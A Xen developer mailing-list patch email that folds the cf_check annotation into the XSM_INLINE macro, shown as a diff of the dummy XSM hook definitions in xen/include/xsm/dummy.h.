List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244799; x=1785849599; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=FRU2aVDELQY8gXnVCRj1wv0Vi1aEpN9TA8YS+W2T4aI=;
        b=C7qA2+0fP0gsv514A6xhK/zrjhv1huZ6xd2u/P1krkp7oi7kILBW6WzqxmfFEubCJP
         qDD9eWfQADzhL7QIDhUqRHwtmzKZLn+RefCQTfBMsGbgVMRqH2EOj+LBkMkBySS3NgzA
         20X95VAyRy4066UkCwWmCpzkN9IlDpBB1RbboepbD2jhZfrj1ku582y4s/CAXmxFjMMA
         2o1oabm8kLPnzezS0ipQk5WXMa4cE+39mXDJNttRxQkh+N+oZSPFXHEKYAQHVMLUqG1N
         59a/3l8sp7jL2zKhfmh4dwgxj4shIbgCuXPfjZsscxNWzQ4JtqmlA/eCxT32VSvldowd
         V5Yg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244799; x=1785849599;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=FRU2aVDELQY8gXnVCRj1wv0Vi1aEpN9TA8YS+W2T4aI=;
        b=BpGzN2hoq5tfymX8XQ9CIO23IC43STNDZuDB1rArUOhh1N17R6UIWgsbbnoWTVL+jY
         Fs5VDKatte9A0c/bkqHzw38x4G1sXnSIn8D8nNECnjg+yttuCutZJqiLiba5If74jVXy
         LkcWaiWlWDYn9vsW6fp9Yq3P1TVijAXOTckUcaLoc102zx58nx8mYtfafLoDJdGr/z7v
         yYbvvW7aW3Kk9eD2JCD4q/5SPxoS1AKrrV8VIPxdSY9BSjfrWHRtwTbMrsaj1EvXER/A
         KkyMkuF7jHm3H2AvzqvluHCgLPBeHiFa+fptihZTAHf1HppcbHeAYAuAIGcOtvXS8jSb
         B+Kw==
X-Gm-Message-State: AOJu0Yy0Ncm9wZNoJFgYtVaFw2Q7ac5WHQKfdEQaxzw8dgPGXuHxDYab
	i6FUL7ubnX+G8dAkrx0p/sD70DWPTMcBGXv3ZWLa4MdCnEc5kHzxmzhr5qvGeAREneaZwPTND0i
	gcWgS3g==
X-Gm-Gg: AR+sD1058QyV2zSj21jKv3g8VZe+6V3KO96kuXjCabUe3NrT148xyi01X3XX30HADt0
	d8PmA0igHWNhVH/4I1AUQ95OhwwnNFWYB3/Rtwfmk7iHLA6KitMD4VXY3rGKYiMtlwDf83rbj9k
	m8+3LrdY8HHJ+T6oA/DNnpnPUaY+Fj4XLQ0PcNFmO8P7i5DuoRFrvvrp/h5+uUk1QvO1iDEBy3k
	OgwlYjmte49P0oI/XxXHl9qwPIY9HEltVCplpqkAyQ5FmfDEuElT8AT+c2yWl/eZLRjbe4ecTsp
	Poo0CHLG5aoq9Y8kYdx6IwQCyaiohMpvp8xeJS2aYPet/qUV1FuD76LXag97z0ViGK+XVfO+FXw
	yVB3cFPkkTo1QThfLcfcqdzefsRukvw/fm//D7MtdRBs74itvr/2I7RFo+jxDNYvl+demc0vcbK
	/obZbPbu3g46J2C9TXNOHgiGBVg4UDg3kJOB2JrzfT9mNSoW0i4s+CviUn++CXZmVCKw==
X-Received: by 2002:a05:6000:41ed:b0:47f:8cd3:4bed with SMTP id ffacd0b85a97d-47fb1e8547cmr3083059f8f.5.1785244799194;
        Tue, 28 Jul 2026 06:19:59 -0700 (PDT)
Message-ID: <6c8f1317-5dd0-4f91-b1b1-820fb43b5c39@suse.com>
Date: Tue, 28 Jul 2026 15:19:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 14/24] XSM/dummy: fold cf_check into XSM_INLINE
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9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e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785244799-6CADC4E9-F1AFB2AF/0/0
X-purgate-type: clean
X-purgate-size: 23552

Use of cf_check together with always_inline is pretty pointless, and with
XSM=n none of the dummy handlers are supposed to have their address taken.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -54,7 +54,7 @@ void __xsm_action_mismatch_detected(void
  * There is no xsm_default_t argument available, so the value from the assertion
  * is used to initialize the variable.
  */
-#define XSM_INLINE __maybe_unused
+#define XSM_INLINE __maybe_unused cf_check
 
 #define XSM_DEFAULT_ARG /* */
 #define XSM_DEFAULT_VOID void
@@ -104,7 +104,7 @@ static always_inline int xsm_default_act
     }
 }
 
-static XSM_INLINE int cf_check xsm_set_system_active(void)
+static XSM_INLINE int xsm_set_system_active(void)
 {
     struct domain *d = current->domain;
 
@@ -121,34 +121,34 @@ static XSM_INLINE int cf_check xsm_set_s
     return 0;
 }
 
-static XSM_INLINE void cf_check xsm_security_domaininfo(
+static XSM_INLINE void xsm_security_domaininfo(
     struct domain *d, struct xen_domctl_getdomaininfo *info)
 {
     return;
 }
 
-static XSM_INLINE int cf_check xsm_domain_create(
+static XSM_INLINE int xsm_domain_create(
     XSM_DEFAULT_ARG struct domain *d, uint32_t ssidref)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_getdomaininfo(
+static XSM_INLINE int xsm_getdomaininfo(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_XS_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_set_target(
+static XSM_INLINE int xsm_set_target(
     XSM_DEFAULT_ARG struct domain *d, struct domain *e)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
 
-static XSM_INLINE int cf_check xsm_domctl(
+static XSM_INLINE int xsm_domctl(
     XSM_DEFAULT_ARG struct domain *d, struct xen_domctl *op)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
@@ -174,61 +174,61 @@ static XSM_INLINE int cf_check xsm_domct
     }
 }
 
-static XSM_INLINE int cf_check xsm_sysctl(
+static XSM_INLINE int xsm_sysctl(
     XSM_DEFAULT_ARG const struct xen_sysctl *op)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
 
-static XSM_INLINE int cf_check xsm_alloc_security_domain(struct domain *d)
+static XSM_INLINE int xsm_alloc_security_domain(struct domain *d)
 {
     return 0;
 }
 
-static XSM_INLINE void cf_check xsm_free_security_domain(struct domain *d)
+static XSM_INLINE void xsm_free_security_domain(struct domain *d)
 {
     return;
 }
 
 #ifdef CONFIG_GRANT_TABLE
 
-static XSM_INLINE int cf_check xsm_grant_mapref(
+static XSM_INLINE int xsm_grant_mapref(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2, uint32_t flags)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_grant_unmapref(
+static XSM_INLINE int xsm_grant_unmapref(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_grant_setup(
+static XSM_INLINE int xsm_grant_setup(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_grant_transfer(
+static XSM_INLINE int xsm_grant_transfer(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_grant_copy(
+static XSM_INLINE int xsm_grant_copy(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_grant_query_size(
+static XSM_INLINE int xsm_grant_query_size(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
@@ -237,28 +237,28 @@ static XSM_INLINE int cf_check xsm_grant
 
 #endif /* CONFIG_GRANT_TABLE */
 
-static XSM_INLINE int cf_check xsm_memory_exchange(
+static XSM_INLINE int xsm_memory_exchange(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_memory_adjust_reservation(
+static XSM_INLINE int xsm_memory_adjust_reservation(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_memory_stat_reservation(
+static XSM_INLINE int xsm_memory_stat_reservation(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_console_io(
+static XSM_INLINE int xsm_console_io(
     XSM_DEFAULT_ARG struct domain *d, int cmd)
 {
     XSM_ASSERT_ACTION(XSM_OTHER);
@@ -272,21 +272,21 @@ static XSM_INLINE int cf_check xsm_conso
 }
 
 #ifdef CONFIG_KEXEC
-static XSM_INLINE int cf_check xsm_kexec(XSM_DEFAULT_VOID)
+static XSM_INLINE int xsm_kexec(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
 #endif
 
-static XSM_INLINE int cf_check xsm_schedop_shutdown(
+static XSM_INLINE int xsm_schedop_shutdown(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_memory_pin_page(
+static XSM_INLINE int xsm_memory_pin_page(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2,
     struct page_info *page)
 {
@@ -294,20 +294,20 @@ static XSM_INLINE int cf_check xsm_memor
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_claim_pages(XSM_DEFAULT_ARG struct domain *d)
+static XSM_INLINE int xsm_claim_pages(XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_evtchn_unbound(
+static XSM_INLINE int xsm_evtchn_unbound(
     XSM_DEFAULT_ARG struct domain *d, struct evtchn *chn, domid_t id2)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_evtchn_interdomain(
+static XSM_INLINE int xsm_evtchn_interdomain(
     XSM_DEFAULT_ARG struct domain *d1, struct evtchn *chan1, struct domain *d2,
     struct evtchn *chan2)
 {
@@ -315,72 +315,72 @@ static XSM_INLINE int cf_check xsm_evtch
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE void cf_check xsm_evtchn_close_post(struct evtchn *chn)
+static XSM_INLINE void xsm_evtchn_close_post(struct evtchn *chn)
 {
     return;
 }
 
-static XSM_INLINE int cf_check xsm_evtchn_send(
+static XSM_INLINE int xsm_evtchn_send(
     XSM_DEFAULT_ARG struct domain *d, struct evtchn *chn)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, d, NULL);
 }
 
-static XSM_INLINE int cf_check xsm_evtchn_status(
+static XSM_INLINE int xsm_evtchn_status(
     XSM_DEFAULT_ARG struct domain *d, struct evtchn *chn)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_evtchn_reset(
+static XSM_INLINE int xsm_evtchn_reset(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_alloc_security_evtchns(
+static XSM_INLINE int xsm_alloc_security_evtchns(
     struct evtchn chn[], unsigned int nr)
 {
     return 0;
 }
 
-static XSM_INLINE void cf_check xsm_free_security_evtchns(
+static XSM_INLINE void xsm_free_security_evtchns(
     struct evtchn chn[], unsigned int nr)
 {
     return;
 }
 
-static XSM_INLINE char *cf_check xsm_show_security_evtchn(
+static XSM_INLINE char *xsm_show_security_evtchn(
     struct domain *d, const struct evtchn *chn)
 {
     return NULL;
 }
 
-static XSM_INLINE int cf_check xsm_init_hardware_domain(
+static XSM_INLINE int xsm_init_hardware_domain(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_get_pod_target(
+static XSM_INLINE int xsm_get_pod_target(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_set_pod_target(
+static XSM_INLINE int xsm_set_pod_target(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_get_vnumainfo(
+static XSM_INLINE int xsm_get_vnumainfo(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
@@ -388,7 +388,7 @@ static XSM_INLINE int cf_check xsm_get_v
 }
 
 #if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
-static XSM_INLINE int cf_check xsm_get_device_group(
+static XSM_INLINE int xsm_get_device_group(
     XSM_DEFAULT_ARG uint32_t machine_bdf)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
@@ -398,14 +398,14 @@ static XSM_INLINE int cf_check xsm_get_d
 
 #if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
 
-static XSM_INLINE int cf_check xsm_resource_plug_pci(
+static XSM_INLINE int xsm_resource_plug_pci(
     XSM_DEFAULT_ARG uint32_t machine_bdf)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
 
-static XSM_INLINE int cf_check xsm_resource_unplug_pci(
+static XSM_INLINE int xsm_resource_unplug_pci(
     XSM_DEFAULT_ARG uint32_t machine_bdf)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
@@ -416,14 +416,14 @@ static XSM_INLINE int cf_check xsm_resou
 
 #ifdef CONFIG_HAS_PCI
 
-static XSM_INLINE int cf_check xsm_resource_setup_pci(
+static XSM_INLINE int xsm_resource_setup_pci(
     XSM_DEFAULT_ARG uint32_t machine_bdf)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
 
-static XSM_INLINE int cf_check xsm_resource_setup_gsi(XSM_DEFAULT_ARG int gsi)
+static XSM_INLINE int xsm_resource_setup_gsi(XSM_DEFAULT_ARG int gsi)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
@@ -431,47 +431,47 @@ static XSM_INLINE int cf_check xsm_resou
 
 #endif /* CONFIG_HAS_PCI */
 
-static XSM_INLINE int cf_check xsm_resource_setup_misc(XSM_DEFAULT_VOID)
+static XSM_INLINE int xsm_resource_setup_misc(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
 
 #ifdef CONFIG_HYPFS
-static XSM_INLINE int cf_check xsm_hypfs_op(XSM_DEFAULT_VOID)
+static XSM_INLINE int xsm_hypfs_op(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
 #endif
 
-static XSM_INLINE long cf_check xsm_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
+static XSM_INLINE long xsm_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
 {
     return -ENOSYS;
 }
 
 #ifdef CONFIG_COMPAT
-static XSM_INLINE int cf_check xsm_do_compat_op(XEN_GUEST_HANDLE_PARAM(void) op)
+static XSM_INLINE int xsm_do_compat_op(XEN_GUEST_HANDLE_PARAM(void) op)
 {
     return -ENOSYS;
 }
 #endif
 
-static XSM_INLINE char *cf_check xsm_show_irq_sid(int irq)
+static XSM_INLINE char *xsm_show_irq_sid(int irq)
 {
     return NULL;
 }
 
 #ifdef CONFIG_HAS_PIRQ
 
-static XSM_INLINE int cf_check xsm_map_domain_pirq(
+static XSM_INLINE int xsm_map_domain_pirq(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_unmap_domain_pirq(
+static XSM_INLINE int xsm_unmap_domain_pirq(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
@@ -480,49 +480,49 @@ static XSM_INLINE int cf_check xsm_unmap
 
 #endif /* CONFIG_HAS_PIRQ */
 
-static XSM_INLINE int cf_check xsm_map_domain_irq(
+static XSM_INLINE int xsm_map_domain_irq(
     XSM_DEFAULT_ARG struct domain *d, int irq, const void *data)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_bind_pt_irq(
+static XSM_INLINE int xsm_bind_pt_irq(
     XSM_DEFAULT_ARG struct domain *d, struct xen_domctl_bind_pt_irq *bind)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_unbind_pt_irq(
+static XSM_INLINE int xsm_unbind_pt_irq(
     XSM_DEFAULT_ARG struct domain *d, struct xen_domctl_bind_pt_irq *bind)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_unmap_domain_irq(
+static XSM_INLINE int xsm_unmap_domain_irq(
     XSM_DEFAULT_ARG struct domain *d, int irq, const void *data)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_irq_permission(
+static XSM_INLINE int xsm_irq_permission(
     XSM_DEFAULT_ARG struct domain *d, int pirq, uint8_t allow)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_iomem_permission(
+static XSM_INLINE int xsm_iomem_permission(
     XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_iomem_mapping(
+static XSM_INLINE int xsm_iomem_mapping(
     XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
@@ -530,7 +530,7 @@ static XSM_INLINE int cf_check xsm_iomem
 }
 
 #ifdef CONFIG_HAS_VPCI
-static XSM_INLINE int cf_check xsm_iomem_mapping_vpci(
+static XSM_INLINE int xsm_iomem_mapping_vpci(
     XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
@@ -539,7 +539,7 @@ static XSM_INLINE int cf_check xsm_iomem
 #endif
 
 #ifdef CONFIG_HAS_PCI
-static XSM_INLINE int cf_check xsm_pci_config_permission(
+static XSM_INLINE int xsm_pci_config_permission(
     XSM_DEFAULT_ARG struct domain *d, uint32_t machine_bdf, uint16_t start,
     uint16_t end, uint8_t access)
 {
@@ -548,21 +548,21 @@ static XSM_INLINE int cf_check xsm_pci_c
 }
 #endif /* CONFIG_HAS_PCI */
 
-static XSM_INLINE int cf_check xsm_add_to_physmap(
+static XSM_INLINE int xsm_add_to_physmap(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_remove_from_physmap(
+static XSM_INLINE int xsm_remove_from_physmap(
     XSM_DEFAULT_ARG struct domain *d1, struct domain *d2)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, d1, d2);
 }
 
-static XSM_INLINE int cf_check xsm_map_gmfn_foreign(
+static XSM_INLINE int xsm_map_gmfn_foreign(
     XSM_DEFAULT_ARG struct domain *d, struct domain *t)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
@@ -571,14 +571,14 @@ static XSM_INLINE int cf_check xsm_map_g
 
 #ifdef CONFIG_HVM
 
-static XSM_INLINE int cf_check xsm_hvm_param(
+static XSM_INLINE int xsm_hvm_param(
     XSM_DEFAULT_ARG struct domain *d, unsigned long op)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_hvm_param_altp2mhvm(
+static XSM_INLINE int xsm_hvm_param_altp2mhvm(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
@@ -588,7 +588,7 @@ static XSM_INLINE int cf_check xsm_hvm_p
 #endif /* CONFIG_HVM */
 
 #ifdef CONFIG_ALTP2M
-static XSM_INLINE int cf_check xsm_hvm_altp2mhvm_op(
+static XSM_INLINE int xsm_hvm_altp2mhvm_op(
     XSM_DEFAULT_ARG struct domain *d, uint64_t mode, uint32_t op)
 {
     XSM_ASSERT_ACTION(XSM_OTHER);
@@ -610,7 +610,7 @@ static XSM_INLINE int cf_check xsm_hvm_a
 #endif /* CONFIG_ALTP2M */
 
 #ifdef CONFIG_VM_EVENT
-static XSM_INLINE int cf_check xsm_mem_access(XSM_DEFAULT_ARG struct domain *d)
+static XSM_INLINE int xsm_mem_access(XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
@@ -618,7 +618,7 @@ static XSM_INLINE int cf_check xsm_mem_a
 #endif
 
 #ifdef CONFIG_MEM_PAGING
-static XSM_INLINE int cf_check xsm_mem_paging(XSM_DEFAULT_ARG struct domain *d)
+static XSM_INLINE int xsm_mem_paging(XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
@@ -626,14 +626,14 @@ static XSM_INLINE int cf_check xsm_mem_p
 #endif
 
 #ifdef CONFIG_MEM_SHARING
-static XSM_INLINE int cf_check xsm_mem_sharing(XSM_DEFAULT_ARG struct domain *d)
+static XSM_INLINE int xsm_mem_sharing(XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 #endif
 
-static XSM_INLINE int cf_check xsm_platform_op(XSM_DEFAULT_ARG uint32_t op)
+static XSM_INLINE int xsm_platform_op(XSM_DEFAULT_ARG uint32_t op)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
@@ -641,20 +641,20 @@ static XSM_INLINE int cf_check xsm_platf
 
 #ifdef CONFIG_X86
 
-static XSM_INLINE int cf_check xsm_mem_sharing_op(
+static XSM_INLINE int xsm_mem_sharing_op(
     XSM_DEFAULT_ARG struct domain *d, struct domain *cd, int op)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, cd);
 }
 
-static XSM_INLINE int cf_check xsm_machine_memory_map(XSM_DEFAULT_VOID)
+static XSM_INLINE int xsm_machine_memory_map(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
 
-static XSM_INLINE int cf_check xsm_domain_memory_map(
+static XSM_INLINE int xsm_domain_memory_map(
     XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
@@ -663,20 +663,20 @@ static XSM_INLINE int cf_check xsm_domai
 
 #ifdef CONFIG_PV
 
-static XSM_INLINE int cf_check xsm_apic(
+static XSM_INLINE int xsm_apic(
     XSM_DEFAULT_ARG struct domain *d, int cmd)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, d, NULL);
 }
 
-static XSM_INLINE int cf_check xsm_do_mca(XSM_DEFAULT_VOID)
+static XSM_INLINE int xsm_do_mca(XSM_DEFAULT_VOID)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, NULL);
 }
 
-static XSM_INLINE int cf_check xsm_mmu_update(
+static XSM_INLINE int xsm_mmu_update(
     XSM_DEFAULT_ARG struct domain *d, struct domain *t, struct domain *f,
     uint32_t flags)
 {
@@ -689,14 +689,14 @@ static XSM_INLINE int cf_check xsm_mmu_u
     return rc;
 }
 
-static XSM_INLINE int cf_check xsm_mmuext_op(
+static XSM_INLINE int xsm_mmuext_op(
     XSM_DEFAULT_ARG struct domain *d, struct domain *f)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
     return xsm_default_action(action, d, f);
 }
 
-static XSM_INLINE int cf_check xsm_update_va_mapping(
+static XSM_INLINE int xsm_update_va_mapping(
     XSM_DEFAULT_ARG struct domain *d, struct domain *f, l1_pgentry_t pte)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
@@ -706,7 +706,7 @@ static XSM_INLINE int cf_check xsm_updat
 #endif /* CONFIG_PV */
 
 #if defined(CONFIG_PV) || defined(CONFIG_SHADOW_PAGING)
-static XSM_INLINE int cf_check xsm_priv_mapping(
+static XSM_INLINE int xsm_priv_mapping(
     XSM_DEFAULT_ARG struct domain *d, struct domain *t)
 {
     XSM_ASSERT_ACTION(XSM_TARGET);
@@ -714,21 +714,21 @@ static XSM_INLINE int cf_check xsm_priv_
 }
 #endif
 
-static XSM_INLINE int cf_check xsm_ioport_permission(
+static XSM_INLINE int xsm_ioport_permission(
     XSM_DEFAULT_ARG struct domain *d, uint32_t s, uint32_t e, uint8_t allow)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
-static XSM_INLINE int cf_check xsm_ioport_mapping(
+static XSM_INLINE int xsm_ioport_mapping(
     XSM_DEFAULT_ARG struct domain *d, uint32_t s, uint32_t e, uint8_t allow)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
